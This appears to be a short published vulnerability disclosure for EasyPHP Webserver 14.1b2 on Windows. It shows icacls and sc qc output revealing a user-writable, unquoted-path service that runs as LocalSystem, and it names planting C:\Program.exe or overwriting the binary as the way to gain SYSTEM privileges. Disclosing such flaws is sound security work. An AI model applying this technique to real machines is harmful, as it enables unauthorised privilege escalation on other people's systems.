EasyPHP Webserver 14.1b2 Privilege Escalation

`# Exploit Title: [EasyPHP-Webserver Service - Privilege Escalation]  
# Date: [date]  
# Exploit Author: [Owais Mehtab, Tayeeb Rana]  
# Vendor Homepage: [www.easyphp.org/]  
# Software Link: [http://www.easyphp.org/easyphp-webserver.php]  
# Version: [14.1b2]  
# Tested on: [Win7 Sp1]  
  
  
  
C:\Program Files (x86)\EasyPHP-Webserver-14.1b2\binaries\httpserver\bin>icacls ews-httpd.exe  
ews-httpd.exe BUILTIN\Users:(I)(M)<---  
NT AUTHORITY\SYSTEM:(I)(F)  
BUILTIN\Administrators:(I)(F)  
  
C:\>sc qc ews-httpserver  
[SC] QueryServiceConfig SUCCESS  
  
SERVICE_NAME: ews-httpserver  
TYPE : 110 WIN32_OWN_PROCESS (interactive)  
START_TYPE : 2 AUTO_START  
ERROR_CONTROL : 1 NORMAL  
BINARY_PATH_NAME : C:\Program Files (x86)\EasyPHP-Webserver-14.1b2\binaries\httpserver\bin\ews-httpd.exe -k ru  
nservice  
LOAD_ORDER_GROUP :  
TAG : 0  
DISPLAY_NAME : ews-httpserver  
DEPENDENCIES :  
SERVICE_START_NAME : LocalSystem  
  
An attacker may put binary in following locations to run it as localsystem account:-  
C:\Program.exe  
Or Overwrite the binary and restart service  
`